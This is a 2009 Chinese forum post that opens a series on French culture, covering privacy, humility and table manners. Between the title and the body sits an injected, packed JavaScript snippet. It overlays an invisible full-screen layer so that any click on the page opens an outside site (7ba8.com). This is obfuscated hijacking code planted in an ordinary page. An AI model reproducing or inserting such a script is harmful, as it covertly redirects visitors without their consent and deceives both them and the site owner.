走近法国系列话题之一:第一印象

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>引言:
今天终于递交了签证材料,忙碌了两个多月总算可以稍微歇口气了,给大家来点精神大餐。
去年冬天买了本挺好的关于法国的书,是一个在法国住了很多年的美国作家写的,里面谈到法国人,法国的生活,文化...我觉得对于大家了解法国很有帮助。于是决定以这本书的内容为线,把它穿成一个话题系列,不管是已经在法国的,还是将去法国的,或者只是单纯对法国感兴趣的朋友都欢迎加入我们的讨论。

学会去理解和爱上法国人
如果你了解了法国人在公共场所和私下里都是如何看待自己的,你就不会感到那么强烈的文化震撼了。
在巴黎,人们走在大街上,生活看似很公开,但其实他们把个人隐私看的很神圣。
文化分析是一种谦恭的行为,在这个过程中你要试着让自己暂时忘掉你本来看事情的方式,换一种新的方式,尽管你明明知道你永远都不会适应这种新方式。

法国人和你
从根本上说,适应法国的生活要看你对于模棱两可情况的容忍程度。了解一种文化就如同学习一门新的语言一样。如果你想学好它,就必须得谦虚。你得认识到你得思维模式和表现方式并不是我们个性当中独特的东西,并且也不是被所有的人所广泛认同的礼貌或合理的东西。有这样的思维模式和表现方式仅仅因为妈妈就是这么教我们的。
由于所处地域不同,在一个地区完全正确的行为方式,在另一个地方可能就是错误的。我们通常理所当然的认为自己的方式是正确的,以至于我们不能为自己的行为方式做出解释。但是,当我们接触另一种文化的时候,你会非常惊奇的发现,这些规则发生了变化。大部分人是通过观察而重新获得这些新的规则的。
法国人吃沙拉时是左手执叉,但是吃意大利面时却是右手执叉。在小餐馆吃饭时,如果你的声音可以被邻桌听到,你会遭到非常苛刻的评论。然而,在纽约的餐馆里,每个人都可以大声喧哗。比较而言,在法国人们更珍视在公共空间的隐私权,包括说话者个人的隐私以及其他进餐者的隐私。
[ 本帖最后由 sakuraforever 于 2009-7-17 18:08 编辑 ]
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部